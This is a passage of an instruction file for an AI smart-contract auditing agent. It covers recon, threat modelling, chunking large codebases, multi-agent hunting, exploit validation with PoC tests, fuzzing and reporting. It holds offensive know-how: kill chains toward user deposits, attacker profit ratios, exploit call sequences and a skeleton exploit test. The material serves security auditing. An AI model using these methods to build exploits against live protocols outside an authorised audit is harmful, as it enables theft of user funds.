Check for Resume State (`--continue`)** If the user passes `--continue`, DO NOT start from Phase 0 or Phase 1. Immediately read `./veerskills-outputs/` to find the most recent audit state and resume the pipeline exactly where it left off. **Step 0.2: Define the Kill Chain** - "What is worth stealing?" Address all high-value targets (User deposits, Protocol treasury, LP tokens, Governance control). - Construct precisely how an attacker would map a path from external public endpoints to those assets. **Step 0.3: Distill the Hit List** Create an explicit prioritized hit-list of code locations/mechanisms that govern access to the targets identified in Step 0.2. Feed this directly into the recon phases below. ## Phase 1: RECON — Chain Detection & Tool Setup **Step 1.1: Detect blockchain platform / language.** Scan file extensions and content: | Extension | Framework Markers | Platform | |-----------|------------------|----------| | `.sol` | `pragma solidity`, `import "@openzeppelin"` | EVM/Solidity | | `.rs` | `use anchor_lang`, `#[program]`, `entrypoint!` | Solana/Rust | | `.move` | `module`, `public entry fun`, `use sui::` or `use aptos_framework::` | Move (Sui/Aptos) | | `.fc`, `.func` | `() recv_internal`, `cell`, `slice` | TON/FunC | | `.tact` | `contract`, `receive()`, `self.reply` | TON/Tact | | `.cairo` | `#[starknet::contract]`, `#[external(v0)]` | Starknet/Cairo | | `.rs` (no Anchor) | `#[entry_point]`, `cosmwasm_std` | Cosmos/CosmWasm | | `.py`, `.go`, `.ts` | (Backend/SDK syntax) | Web2/Backend Logic | *(Note: If Web2/Backend Logic is detected, bypass EVM/chain-specific checks and rely heavily on the Nemesis Convergence loop for logic auditing).* **Step 1.2: Load checklists (PROGRESSIVE DISCLOSURE — load per mode).** **QUICK MODE** (4 files only — minimize token usage): - Read `{resolved_path}/references/attack-vectors.md` (280+ vectors with D/FP markers) - Read `{resolved_path}/references/fp-gate.md` (6-check FP elimination + confidence scoring) - Read `{resolved_path}/references/master-checklist.md` (25 vuln classes, ~219 checks) - Read `{resolved_path}/references/TRIGGERS.md` (AI trigger mapping to load more files dynamically) **STANDARD MODE** (add 5 more — 9 files total): - All QUICK files, plus: - Read `{resolved_path}/references/protocol-checklists.md` (15 protocol types, 214 items) - Read `{resolved_path}/references/anti-patterns.md` (14 vulnerability classes) - Read `{resolved_path}/references/protocol-routes.md` (critical path vectors + required checks) - Read `{resolved_path}/references/attack-trees.md` (systematic decision paths for target protocol types) - Read `{resolved_path}/references/protocol-playbooks.md` (deep-dive integration checks for identified protocols) **DEEP MODE** (add 6 more — 15 files total): - All STANDARD files, plus: - Read `{resolved_path}/references/network-checklists.md` (7 networks, 139 items) - Read `{resolved_path}/references/protocol-context-engine.md` (21 protocols × per-bug-class analysis from 10,600+ findings) - Read `{resolved_path}/references/chain-deep-{detected_chain}.md` (chain-specific deep-dive module) - Read `{resolved_path}/references/exploit-forensics.md` (30 transaction-level forensic breakdowns of major DeFi hacks) - Read `{resolved_path}/references/anti-patterns-library.md` (42 concrete examples of exact vulnerable vs safe code) - Read `{resolved_path}/references/XREF.md` (cross-reference mapping for complex multi-variant vectors) **BEAST MODE** (all files — 20+ total): - All DEEP files, plus: - Read `{resolved_path}/references/nemesis-convergence.md` (Nemesis convergence loop instructions) - Read `{resolved_path}/references/vulnerability-matrix.md` (full vuln class × check matrix) - Read `{resolved_path}/references/invariant-framework.md` (formal invariant templates) - Read `{resolved_path}/references/evolution-timelines.md` (reentrancy, oracle, and bridge vector evolution historical data) - Read ALL `{resolved_path}/references/chain-deep-*.md` files for cross-chain pattern matching *(Note: `references/learning-paths.md` should be loaded only upon explicit user request)* **Step 1.2.1: Context Budget Health Check** *(MANDATORY after all references loaded)*: Run the **Context Health Check** from the Context Budget Protocol section above. Estimate token usage of loaded references vs. in-scope code. If references exceed 40% of total budget, evict files per the priority order. Log all decisions in `audit-debug.md`. This step prevents silent misses on large codebases. **Step 1.3: Run static analysis + MCP tools** (parallel) *(UPGRADED — MCP Tool Escalation Ladder from Plamen)*: **MCP tools are the PRIMARY interface to static analysis and vulnerability databases.** Call MCP tools DIRECTLY — never route through Bash unless the MCP call itself has failed. CLI is the fallback, not the default. **Static Analysis Escalation Ladder** *(NEW — from Plamen)*: When the primary tool fails, cascade to the next fallback. Do NOT retry the same failing tool. | Priority | Tool | What It Provides | When to Use | |----------|------|-----------------|-------------| | 1 (Primary) | `mcp__sc-auditor__run-slither` | Full AST analysis, detectors, call graphs | Always attempt first | | 2 (Parallel) | `mcp__sc-auditor__run-aderyn` | Rust-based static analysis, common vulns | Always run alongside Slither | | 3 (Fallback) | `mcp__sc-auditor__get_checklist` | Cyfrin security checklist items | Always load for reference | | 4 (Manual) | Grep + Read tools | Manual pattern search | When ALL MCP tools fail | **MCP Timeout Policy** *(from Plamen)*: When an MCP tool call returns a timeout error, do NOT retry. Record `[MCP: TIMEOUT]` and switch immediately to the next fallback. If the FIRST call to a provider fails with schema/API error, assume ALL calls to that provider will fail — switch immediately. **Vulnerability Knowledge Base Integration** *(UPGRADED — from Plamen's unified-vuln-db)*: - `mcp__claudit__search_findings` — Search 20K+ real audit findings with advanced filters - `mcp__claudit__get_finding` — Get full finding details by ID - `mcp__claudit__get_filter_options` — Discover valid filter values - `mcp__sc-auditor__search_findings` — Alternative search via sc-auditor **Advanced Solodit Search Parameters** *(NEW — from Plamen)*: ``` mcp__claudit__search_findings( keywords="first depositor inflation", severity=["HIGH", "MEDIUM"], tags=["First Depositor", "ERC4626"], protocol="{PROTOCOL_NAME}", // Partial match language="Solidity", // Solidity/Rust/Cairo/Move sort_by="Quality", // Quality/Recency/Rarity advanced_filters={ quality_score: 3, // Min quality (0-5), use ≥3 for good findings rarity_score: 3, // Min rarity (0-5), unique patterns min_finders: 1, max_finders: 1, // Solo finds = hardest bugs protocol_category: ["DeFi"], // Category filter } ) ``` **Pro tips for better Solodit recall** *(from Plamen)*: - Use `quality_score=3` to filter noisy/low-quality findings - Use `language="Solidity"` to avoid cross-language noise - Use `max_finders=1` to find solo discoveries (hardest, most unique bugs) - Combine `protocol_category` + `tags` for targeted domain searches - Common tags: Reentrancy, Oracle, Access Control, Flash Loan, Front-running, Price Manipulation, Logic Error, DOS, Precision Loss, Rounding, First Depositor, Liquidation, Governance, Cross-chain, Bridge, Slippage **Recon Probe** *(from Plamen)*: Run ONE `mcp__sc-auditor__run-slither` call as a probe. If it fails → set `SLITHER_AVAILABLE = false` in `audit-debug.md`. All downstream Slither tasks switch to grep fallback. Do NOT retry — Slither failures on a project are permanent (namespace imports, mixed compiler versions, unusual AST). - Store all results for Phase 3 **Step 1.4: Discover in-scope files.** Use `find` to list all source files matching the detected platform, excluding the exclude pattern. Count total lines. **Check codebase size against scaling guidance table and print warning if > 5,000 lines.** **Trigger Context Budget Adaptive Reference Loading based on detected size** — if codebase > 3,000 lines, re-evaluate loaded references and evict per the budget protocol. **Step 1.5: Initialize output directory.** Create versioned output folder: ```bash # Find next available output number next_num=$(ls -d ./veerskills-outputs/*/ 2>/dev/null | wc -l | xargs -I{} expr {} + 1) mkdir -p ./veerskills-outputs/${next_num:-1} ``` Create `audit-context.md` with scope boundaries, detected platform, and protocol type. Create `audit-debug.md` — begin logging all decisions from this point forward. ## Phase 1.5: CONTEXT — Customer & Business Analysis *(NEW — from Forefy)* **MANDATORY** — understand the protocol's business context BEFORE hunting for bugs. This step catches business-logic bugs that pure technical analysis misses. ### 1.5.1 Project Purpose Analysis - What DeFi problem does this protocol solve? - What industry/vertical does this serve? (trading, lending, insurance, gaming, RWA) - What makes this protocol unique or different from forks? - What token economics and incentive mechanisms exist? - What are the critical business operations and revenue streams? ### 1.5.2 User Profile Analysis - Who are the primary users? (retail traders, institutions, LPs, borrowers, stakers) - How do users typically interact with the protocol? (deposit → earn → withdraw) - What user funds or assets are at stake? (ERC20s, ETH, LP tokens, NFTs) - What would user impact look like if funds are lost? (savings lost, positions liquidated) ### 1.5.3 TVL & Economic Context *(UPGRADED — from Forefy with security budget calculation)* - What is the Total Value Locked (TVL) or expected TVL? - **Security Budget Estimation** (NEW): - Industry standard: ~10% of TVL allocated to security - Calculate realistic security budget range: - **Minimum**: $2,000 (small protocols, <$100k TVL) - **Standard**: $10,000-$30,000 (mid-size protocols, $1M-$10M TVL) - **High-value**: $60,000+ (large protocols, >$50M TVL) - This budget informs triager severity calibration — findings must justify their bounty cost - **Profit/Risk Ratio Analysis** (NEW): - For each potential attack vector, calculate: - **Attack Cost**: Gas fees + flash loan fees + capital opportunity cost + time investment - **Attack Profit**: Maximum extractable value from successful exploit - **Profit/Risk Ratio**: `(Profit - Cost) / Cost` - Only attacks with ratio > 2.0 are economically rational for real attackers - Example: Flash loan attack costing $100 (gas + 0.09% fee) extracting $50k = ratio 499 → highly rational - Example: Complex multi-tx attack costing $5k extracting $8k = ratio 0.6 → economically irrational - What are the economic incentives for attackers? (profit/risk ratio) - What is the cost of exploitation vs. potential gain? - **User Impact Quantification** (NEW): - How many users would be affected by a successful exploit? - What percentage of TVL is at risk from each attack class? - What is the recovery mechanism if funds are lost? (insurance, governance, none) - Log TVL estimate, security budget, and profit/risk calculations in `audit-debug.md` for triager severity calibration ### 1.5.4 Scope Boundary Documentation - What smart contracts are **IN SCOPE**? (core protocol, periphery, governance) - What smart contracts are **OUT OF SCOPE**? (test, mock, deployed-only) - What blockchain networks are targeted? (mainnet, L2, testnet) - Are there deployed instances to reference? (mainnet addresses for state comparison) - Document in `audit-context.md` ## Phase 1.6: THREAT — Threat Model Creation *(NEW — from Forefy)* **Build a contextualized threat model BEFORE hunting.** This ensures agents search for attacks relevant to THIS protocol's threat actors. ### 1.6.1 Threat Model Diagram Generate a mermaid threat model diagram: ```mermaid graph TD A[External Attackers] --> B[Front-running/MEV] C[Malicious Users] --> D[Economic Exploits] E[Protocol Integrators] --> F[Composability Risks] G[Governance Attacks] --> H[Admin Privilege Abuse] B --> I[Fund Extraction] D --> I F --> I H --> I I --> J[User Fund Loss] I --> K[Protocol Insolvency] I --> L[Market Manipulation] ``` *Customize the diagram based on detected protocol type.* Save to `threat-model.md` in output directory. ### 1.6.2 Threat Actor Analysis For THIS specific protocol, identify and prioritize: - **External attackers**: What funds are they targeting? (user deposits, protocol treasury, LP tokens) - **Malicious users**: What economic incentives exist for gaming the system? - **Flash loan attackers**: What single-transaction exploits are possible? (price manipulation, governance takeover) - **MEV bots**: What front-running/sandwich/backrunning opportunities exist? - **Governance attackers**: What voting power could enable protocol takeover? - **Insider threats**: What admin error scenarios could cause fund loss? (NOT malice — P5) ### 1.6.3 Attack Surface Mapping Map the complete attack surface: - **Entry points**: All public/external functions callable by unprivileged users - **Value flows**: How funds move through the protocol (deposit → pool → withdraw) - **Trust boundaries**: Where does the protocol trust external data? (oracles, bridges, tokens) - **Integration points**: What external protocols does this interact with? (DEXs, oracles, bridges) Feed threat model into Phase 3 HUNT — agents should prioritize threats identified here. ## Phase 1.7: AUTO-CHUNK — Overlap Chunking with Bridge Agent *(UPGRADED — fixes cross-chunk blind spots)* **MANDATORY** for ALL modes when codebase exceeds 3,000 lines. ### 1.7.1 Size Assessment ```bash # Count total in-scope lines find . -name "*.sol" -o -name "*.rs" -o -name "*.move" | grep -v test | grep -v mock | xargs wc -l | tail -1 ``` ### 1.7.2 Auto-Chunk Decision | Codebase Size | Chunks | Overlap Zone | Bridge Agent | |---|---|---|---| | **< 3,000 lines** | No chunking | N/A | N/A | | **3,000 – 5,000 lines** | 2 chunks | 20% overlap (~300-500 lines shared) | Optional | | **5,000 – 10,000 lines** | 3-4 chunks | 15% overlap per boundary | **MANDATORY** | | **> 10,000 lines** | N chunks of ≤ 2,500 lines | 15% overlap per boundary | **MANDATORY** | ### 1.7.3 Interface Map Extraction *(Silent Miss Prevention — runs BEFORE chunking)* **MANDATORY** for all chunked audits. Before splitting code into chunks, extract a lightweight **Interface Map** (target: ≤ 200 lines) containing: ```bash # Extract all public/external function signatures grep -rn "function.*external\|function.*public" --include="*.sol" | grep -v test | grep -v mock # Extract all state variable declarations grep -rn "mapping\|uint.*public\|address.*public\|bool.*public" --include="*.sol" | grep -v test # Extract all cross-contract call targets grep -rn "I[A-Z].*\.\|IERC20\|\.call{\|\.delegatecall" --include="*.sol" | grep -v test # Extract all events and modifiers grep -rn "event \|modifier " --include="*.sol" | grep -v test ``` Compile results into `interface-map.md` in the output directory: ```markdown ## Interface Map — [Protocol Name] ### Contract: ContractA.sol - `function deposit(uint256 amount) external` — no access control - `function withdraw(uint256 shares) external nonReentrant` — guarded - STATE: `mapping(address => uint256) balances` — written by deposit(), withdraw() - CALLS: IOracle.getPrice(), IERC20.transferFrom() ### Contract: ContractB.sol - `function liquidate(address user) external` — no access control - STATE: `mapping(address => uint256) debt` — reads ContractA.balances via getAccountHealth() - CALLS: ContractA.getAccountHealth(), IERC20.transfer() ### Cross-Contract Dependencies - ContractB.liquidate() → reads ContractA.balances (via getAccountHealth) - ContractA.deposit() → emits event consumed by ContractB indexer ``` **This Interface Map is injected as a mandatory preamble into EVERY chunk agent's context.** It costs ~200 lines but prevents agents from being blind to contracts outside their chunk. ### 1.7.4 Overlap Chunking Strategy 1. **Dependency graph**: Group contracts that share state or make cross-contract calls together 2. **Core first**: Chunk 1 = core protocol logic (highest TVL exposure). Chunk 2+ = periphery 3. **Overlap zones**: Each chunk boundary includes a **15-20% overlap** with adjacent chunks: - Functions at chunk boundaries appear in BOTH adjacent chunks - If Contract X calls Contract Y and they are in different chunks, Contract Y's relevant functions are duplicated into Contract X's chunk - This ensures cross-boundary call chains are visible to at least one agent ``` Example (8,000 line codebase → 3 chunks): Chunk 1: [Lines 1–3,000] ← core protocol Chunk 2: [Lines 2,500–5,500] ← 500-line overlap with Chunk 1 Chunk 3: [Lines 5,000–8,000] ← 500-line overlap with Chunk 2 ``` 4. **Log overlap decisions** in `audit-debug.md`: ``` [OVERLAP-CHUNK] Chunk 1: Core (ContractA, ContractB) — 2,800 lines [OVERLAP-CHUNK] Chunk 2: Periphery (ContractC, ContractD) + overlap(ContractB.liquidate, ContractB.getHealth) — 2,600 lines [OVERLAP-CHUNK] Overlap zone: ContractB L142-L280 (liquidate + getHealth) duplicated into Chunk 2 ``` ### 1.7.5 Cross-Chunk State Summary After each chunk completes its audit pipeline, produce a **Cross-Chunk State Summary** (~100 lines max): - All public/external functions with their access control verdicts - All state variables read/written, with which other chunks depend on them - All external calls to contracts in other chunks, with parameters - All invariants that span multiple chunks (e.g., "total deposits == sum of user balances") - All confirmed findings from this chunk (ID + one-line summary + affected function) - All **suspected but unconfirmable** findings that require cross-chunk context ### 1.7.6 Chunk Execution (Dependency-Ordered) Chunks execute in dependency order (core → periphery), NOT in parallel: 1. **Chunk 1** (core): Full audit pipeline (Phases 2-7). Produce state summary. 2. **Chunk 2**: Full pipeline. Agent receives: Interface Map + Chunk 1 state summary + Chunk 2 code. 3. **Chunk N**: Full pipeline. Agent receives: Interface Map + ALL previous chunk state summaries + Chunk N code. This sequential ordering ensures each chunk's agent knows what the core protocol does before auditing periphery. ### 1.7.7 Bridge Agent — Cross-Chunk Vulnerability Hunter *(NEW — fixes blind spots)* **MANDATORY** for codebases > 5,000 lines. Optional for 3,000-5,000. After ALL chunks complete, spawn a **dedicated Bridge Agent** that receives: - **Interface Map** (from 1.7.3) - **ALL chunk state summaries** (from 1.7.5) - **ALL confirmed findings** from all chunks - **ALL "suspected but unconfirmable" findings** from all chunks - **NO raw source code** (to stay within context budget) The Bridge Agent runs these targeted hunts: #### Hunt 1: Cross-Chunk State Manipulation For every state variable that is **written in Chunk A** and **read in Chunk B**: - Can an attacker manipulate the value in Chunk A to cause a bad outcome in Chunk B? - Example: manipulate `oracle.price` in Chunk A → trigger under-collateralized liquidation in Chunk B - If suspicious: flag as `[BRIDGE-SM-N]` with both chunk references #### Hunt 2: Cross-Chunk Call Chain Exploits For every cross-contract call in the Interface Map: - Trace the full call chain across chunk boundaries - Can the caller manipulate parameters to exploit the callee in a different chunk? - Can reentrancy cross chunk boundaries (call from Chunk A → callback re-enters Chunk B → modifies state read by Chunk A)? - If suspicious: flag as `[BRIDGE-CC-N]` #### Hunt 3: Cross-Chunk Invariant Violations For every invariant that spans multiple chunks: - Can function F1 in Chunk A break an invariant that function F2 in Chunk B relies on? - Are there timing windows where the invariant is temporarily broken between chunks? - If suspicious: flag as `[BRIDGE-IV-N]` #### Hunt 4: Unconfirmable Finding Resolution For "suspected but unconfirmable" findings from individual chunks: - Check if cross-chunk context now makes them confirmable - Upgrade to confirmed if evidence chain is complete, else drop **Bridge Agent Output**: List of `[BRIDGE-*]` findings. Each must specify: - Which two (or more) chunks are involved - The exact cross-chunk attack narrative - Which functions in which contracts form the attack chain - Request raw code review of specific functions if needed (at most 3 targeted code reads) ### 1.7.8 Chunk Merge After Bridge Agent completes: - Merge findings from all chunks + Bridge Agent - Deduplicate by root cause (keep higher-confidence version) - If a finding was found independently by two chunk agents in the overlap zone → confidence boost +15 - Apply FP Gate + triager to ALL findings (including Bridge findings) - Produce unified report - Log merge statistics in `audit-debug.md`: ``` [CHUNK-MERGE] Total chunks: 3. Overlap findings (deduped): 4. Bridge findings: 2. [CHUNK-MERGE] Unconfirmable resolved: 1 confirmed, 2 dropped. [CHUNK-MERGE] Final findings: 12 (8 from chunks + 2 from bridge + 2 overlap-confirmed). ``` ## Phase 2: MAP — System Understanding Read every contract using the `Read` tool. Build a **System Map** with these sections: ### 2.1 Architecture Map For each contract/module: - **Purpose**: 1-2 sentences - **Key State Variables**: Name, type, visibility, mutability, invariant role (core/safety/access-control) - **Dependencies**: What each variable depends on (external balances, strategies, fees, oracles) - **External Surface**: Every public/external function with: access control, state writes, external calls, events ### 2.2 State Transition Graph - **System State Space**: S = (all key state variables defining system state) - **Per Function**: Pre-conditions → State Changes → Post-conditions - **Invariant Preservation**: Does each transition maintain all invariants? ### 2.3 Core Invariants Split into four categories (read `references/invariant-framework.md` for templates): - **SAFETY**: Solvency, access control, no unauthorized minting, balance consistency - **LIVENESS**: Withdrawal availability, protocol progress, no permanent locks - **ECONOMIC**: No free lunch, price stability, no value extraction without service - **COMPOSABILITY** *(NEW)*: External protocol assumptions, token standard compliance, oracle dependency freshness, integration survival ("if external protocol X pauses/upgrades/rugs, does this protocol survive?"), permit2 allowance safety, hook callback state consistency ### 2.4 Coverage Plan *(NEW — from Forefy)* Systematically verify coverage across ALL protocol layers: ``` PROTOCOL LAYER ANALYSIS: □ Core Protocol Logic: - Business logic implementation and edge cases - State transitions and invariant preservation - Function interaction patterns and dependencies - Emergency pause and recovery mechanisms □ Economic Security: - Token economics and incentive alignment - Price oracle dependencies and manipulation resistance - Flash loan attack vectors and single-transaction exploits - Arbitrage opportunities and MEV implications □ Access Control & Governance: - Role-based access control implementation - Multi-signature and timelock mechanisms - Governance proposal and voting systems - Admin privilege and upgrade mechanisms □ Integration & Composability: - External protocol dependencies and risks - Token standard compliance and edge cases - Cross-chain bridge security and message validation - Front-end integration security implications □ Technical Implementation: - Smart contract upgradeability patterns - Gas optimization security trade-offs - Event emission for monitoring and indexing - Error handling and revert conditions ``` Log each layer's completion status in `audit-debug.md`. ### 2.5 Static Analysis Summary - Merge Slither + Aderyn findings grouped by category and severity - Initial FP assessment for each group using the 3-check gate ### 2.6 Protocol Context Engine *(UPGRADED — from Forefy 10,600+ findings)* Auto-detect protocol type from imports, function names, state variables, and inheritance: - Read `{resolved_path}/references/protocol-context-engine.md` for the protocol type index - Load the **matching Forefy protocol context file** (21 types: Lending, DEX, Bridges, Derivatives, Yield, Staking, Governance, NFT Marketplace, NFT/Gaming, Insurance, Synthetics, Launchpad, Algo Stablecoin, Decentralized Stablecoin, Indexes, Liquidity Manager, Privacy, Reserve Currency, RWA Lending, RWA Tokenization, Services) - **For each bug class** in the protocol context file, extract: - **Preconditions**: Does this codebase have the conditions for this bug class? - **Detection Heuristics**: Exact grep patterns and code-reading checks - **False Positives**: What would make a finding NOT a bug in this specific context? - **Historical Findings**: What similar protocols were exploited for (real-world precedent) - **Remediation**: Standard fixes per bug class per protocol type - Also load `{resolved_path}/references/protocol-routes.md` for VeerSkills' own Critical Path vectors and Required Checks - Always load the Universal Checks section - **FV-SOL Taxonomy Loading** (for Solidity/EVM): - Read the matching `fv-sol-X` reference files from the Forefy vulnerability taxonomy - These provide Bad vs. Good code examples for 67+ vulnerability subcases - Cross-reference with the protocol context file's bug class IDs (e.g., fv-sol-1 = Reentrancy) ### CHECKPOINT Present the System Map including detected protocol type and loaded route. Ask: *"Review the system map and protocol classification. Confirm accuracy or provide corrections. I will wait before proceeding to HUNT."* Do NOT proceed until confirmed. ## Phase 3: HUNT — Systematic Hotspot Identification > **Full details**: See `references/phase-3-hunt.md` for complete HUNT phase methodology. **Step 3.0: Load protocol-specific checklist.** Read `{resolved_path}/references/protocol-checklists.md` and load the section matching the detected protocol type. ALWAYS also load the Solcurity and Secureum sections. **HUNT Phase Summary**: - **3.A — Vector Triage Pass**: Classify 280+ vectors using Skip/Borderline/Survive - **3.B — Grep-Scan Pass**: Fast codebase-wide pattern scan - **3.C — Anti-Pattern Scan**: Check against anti-patterns.md - **3.D — Function-Level Analysis**: Master checklist sweep (~219 checks) - **3.E — Variant Analysis**: Abstraction ladder + 5 variant dimensions - **3.F — Attack Chain Detection**: Multi-step exploit detection - **3.G — Reverse Impact Hunt**: Backward-from-impact search - **3.H — Data Flow Graph**: State mutation tracking - **3.I — Boundary Value Injection**: Edge-case bug detection - **3.J — Multi-Expert Analysis**: Three separate expert rounds **Output Format**: ``` [HUNT-{N}] {One-line summary} ├── Components: {contracts + functions} ├── Attacker: {unprivileged user / flash loan / MEV bot} ├── Invariants: {which could be violated} ├── Evidence: {tool findings, checklist items, Solodit matches, vector IDs} ├── Confidence: [{score}] with deduction breakdown ├── Variants: {count of related instances found} ├── Chain: {standalone | step in chain [chain-id]} └── Priority: {Critical / High / Medium / Low} ``` For detailed methodology on all HUNT sub-phases (3.B through 3.J), see `references/phase-3-hunt.md`. ### 3.A — Vector Triage Pass *(280+ vectors from attack-vectors.md — UPGRADED with Pashov's 3-tier system)* For each of the 280+ attack vectors assigned to the agent: **Triage**: Classify into three tiers using **Skip/Borderline/Survive** classification: - **Skip** — the named construct AND underlying concept are both absent - **Borderline** — the named construct is absent but the underlying vulnerability concept could manifest through a different mechanism - **Survive** — the construct or pattern is clearly present **Deep pass**: Only for surviving vectors using structured one-liner format. See `references/phase-3-hunt.md` for complete methodology. ### CHECKPOINT Present numbered list of ALL findings from 3.A through 3.J. Ask: *"Select targets for ATTACK phase (numbers, 'all', or 'high-only')."* ## Phase 4: ATTACK — Deep Exploit Validation > **Full details**: See `references/phase-4-attack.md` for complete ATTACK phase methodology. For each selected target, one at a time: ### 4.1 Trace Call Path Read actual code. Trace variable values through execution. Map every external call, state change, and branch. ### 4.2 Construct Attack Narrative - **Attacker role**: Who (any user, flash loan borrower, MEV bot) - **Call sequence**: Exact transaction sequence to exploit - **Broken invariant**: Which invariant violated - **Extracted value**: What attacker gains (funds, shares, access) - **Capital required**: Flash loan size, gas cost, timing constraints ### 4.3 Full 6-Check FP Gate — Deep Enforcement (MANDATORY) Apply all 6 checks from `references/fp-gate.md` with **mandatory evidence artifacts**. See `references/phase-4-attack.md` for complete methodology including: - Adversarial Verification (4.4) - Economic Triager Validation (4.5) - Severity Formula (4.6) - Iterative Depth Loop (4.8) - Semantic Invariant Dual-Pass (4.85) - Skeptic-Judge (4.9) - Nemesis Convergence Loop (4.5, beast mode only) **Verdict**: - **NO VULNERABILITY**: Document refutation steps, specific constraints preventing exploit, confidence level. - **VULNERABILITY CONFIRMED**: Produce finding in output format, then proceed to Phase 5 for validation. ## Phase 5: VALIDATE — PoC & Reproducibility **Every Critical/High finding MUST have a working PoC.** Medium findings SHOULD have PoCs. ### 5.0 Finding-Type to PoC-Template Mapping Use templates from `references/poc-templates.md`. ### 5.1 Write PoC **IMPORTANT**: Only create PoCs if the repo already has a testing framework configured (Foundry/Hardhat/Anchor). ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; contract {VulnName}PoC is Test { function setUp() public { vm.createSelectFork(vm.envString("RPC_URL")); // Read from environment variables } function test_exploit() public { // 1. Setup attacker position // 2. Execute exploit sequence // 3. Assert profit / invariant violation } } ``` ### 5.2 Validate Reproducibility - Reproduce 3 times with different inputs - Quantify impact: TVL at risk, % of TVL, users affected - Include **economic analysis**: attack profitability at current gas prices ## Phase 6: FUZZ — Invariant Fuzz Generator > **Full details**: See `references/phase-6-fuzz.md` for complete FUZZ phase methodology. **MANDATORY for deep/beast modes. Skip for quick/standard.** - **6.0 Invariant Derivation**: Derive from actual audit artifacts - **6.1 Generate Handler Contract**: Foundry test file to `test/invariant/InvariantFuzz.t.sol` - **6.2 Compile and Run Campaign**: `forge test --match-contract InvariantFuzz --invariant-runs 256 --invariant-depth 25` - **6.3 PoC Fuzz Variants**: For every Medium+ finding - **6.4 Multi-Chain Fuzz Support**: EVM (Echidna/Medusa), Solana (Trident), Aptos/Sui Violations become depth agent input — they provide concrete counterexamples. Evidence tag: `[POC-PASS]`. ## Phase 7: REPORT — Final Deliverable > **Full details**: See `references/phase-7-report.md` for complete REPORT phase methodology. ### 7.1 Finding Classification | Level | Label | Criteria | |-------|-------|----------| | P0 | CRITICAL | Complete fund loss, exploitable by anyone, working PoC required | | P1 | HIGH | Significant loss (10-50% TVL), moderate capital/skill, PoC required | | P2 | MEDIUM | Minor loss (<10%), specific conditions, PoC recommended | | P3 | LOW | Minimal impact, best practice violations | | P4 | INFO | Gas optimizations, code quality, documentation | ### 7.2 Report Structure Generate `VEERSKILLS_AUDIT_REPORT.md` with: 1. **Executive Summary**: Protocol overview, findings summary, key risk areas 2. **Scope Table**: Contracts, SLOC, purpose, libraries 3. **Findings by Severity**: Critical/High/Medium/Low with triager status 4. **Below Confidence Threshold**: Findings with confidence 40-79 5. **Statistical Analysis**: Code metrics, vector coverage 6. **Appendix**: Tools used, PoC code, commit hash ### 7.3 Missed-Bug Self-Audit (MANDATORY) - Components verified against protocol map - Missed-pattern cross-check against `references/missed-bug-patterns.md` - Coverage gaps documented --- ## Multi-Agent Orchestration (standard/deep/beast modes) ### Turn 1 — Discover Print banner. Parallel tool calls: (a) `find` in-scope files per chain, (b) Glob for `**/references/vulnerability-matrix.md` to resolve `{resolved_path}`. ### Turn 2 — Prepare Parallel tool calls: (a) Read mode-appropriate reference files per **Step 1.2 Progressive Disclosure**, (b) Count in-scope lines and apply **Phase 1.7 AUTO-CHUNK** if needed, (c) Create agent bundle files in `/tmp/veerskills-agent-{1..N}-bundle.md` — each bundles ALL in-scope source files + assigned vulnerability sections + attack vector range + FP gate + chain-deep module (if non-EVM) + economic triager checklist. **Agent assignment — Multi-Expert Persona System** *(UPGRADED — 13+ agents with dynamic scaling from Plamen)*: Agents operate as **distinct expert personas** with mandatory separation. No agent may reference another agent's findings during its independent analysis — cross-validation happens only during merge. **Dynamic Agent Scaling** *(UPGRADED — from Plamen's `breadth_count()` + dynamic floor/ceiling)*: VeerSkills dynamically scales agent count based on codebase size AND protocol complexity: **Vector-Scan Agent Scaling (Agents 1-N)**: - Base count from Plamen Context Budget: `BC = min(8, max(4, TOTAL_LINES / 1500))` - Beast mode ceiling: `min(20, BC + protocol_specialists)` - Minimum: 2 agents (guaranteed coverage) - **Per-Contract Agent Spawning (beast mode, >10k lines)**: - Each high-risk contract (>500 lines, handles funds/access/oracle) gets its own agent - Per-contract agents analyze ONLY their assigned contract + the Interface Map - Maximum: 30 per-contract agents (hard cap to prevent resource exhaustion) - Per-contract agent count: `min(30, count_of_high_risk_contracts)` **Total Agent Ceiling by Mode**: | Mode | Vector Agents | Specialist Agents | Per-Contract | Total Max | |------|--------------|-------------------|-------------|----------| | **light** | 2 | 0 | 0 | **2** | | **quick** | 3-4 | 0 | 0 | **4** | | **standard** | 4-6 | 2 (Adversarial + Skeptic-Judge) | 0 | **8** | | **deep** | 5-8 | 5 (Adv + Protocol + State + Skeptic + Routes) | 0 | **13** | | **beast** | 6-20 | 8 (all specialists) | 0-30 | **58** | Specialist agents (7-17) scale independently based on protocol flags, not codebase size. | Agent | Model | Persona | Vectors | Focus | Mode Required | |-------|-------|---------|---------|-------|---------------| | 1 | sonnet | **Technical Auditor A** | V1-V42 | Reentrancy + Access Control + Proxy | ALL modes | | 2 | sonnet | **Technical Auditor B** | V43-V84 | Arithmetic + Oracle + Token Standards | ALL modes | | 3 | sonnet | **Economic Auditor** | V85-V126 | DoS + Economic + Flash Loan + Cross-Chain | ALL modes | | 4 | sonnet | **Integration Auditor** | V127-V170 | Signature + Encoding + Assembly + Protocol | ALL modes | | 5 | sonnet | **Extended EVM Auditor** | V171-V210 | DeFi lending, L2, staking, behavioral | standard+ | | 6 | sonnet | **Chain-Specific Auditor** | V211-V250 | Solana/Move/TON/Cosmos/Cairo chain-native | deep+ (non-EVM) | | 7 | opus | **Adversarial Reasoner** | N/A | All — adversarial reasoning + anti-patterns | standard+ | | 8 | opus | **DeFi Protocol Specialist** | N/A | Protocol-type-specific deep analysis with domain checklists | deep+ | | 9 | opus | **State Inspector** | N/A | State coupling + mutation gaps + cross-chunk analysis | deep+ | | 10 | opus | **Feynman Questioner** | N/A | 7 Feynman questions per function | beast only | | 11 | sonnet | **Variant Hunter** | N/A | Systematic variant analysis of all confirmed findings | beast only | | 12 | opus | **Cross-Chunk Integrator** | N/A | Cross-chunk + cross-contract attack chains | beast only (multi-chunk) | | 13 | opus | **Protocol Routes Enforcer** | N/A | Critical path verification + required checks enforcement | deep+ | | **17** | **opus** | **Skeptic-Judge** | N/A | **Independent adversarial disproof of ALL High/Critical findings (standard+) and Medium+ (deep+). Zero prior context. Goal: DESTROY findings.** | **standard+** | See `references/phase-3-hunt.md` and `references/phase-4-attack.md` for detailed agent methodologies. ### Turn 3 — Execute (Parallel Breadth Phase) **Staggered launch**: Agents 1-N spawn simultaneously (each 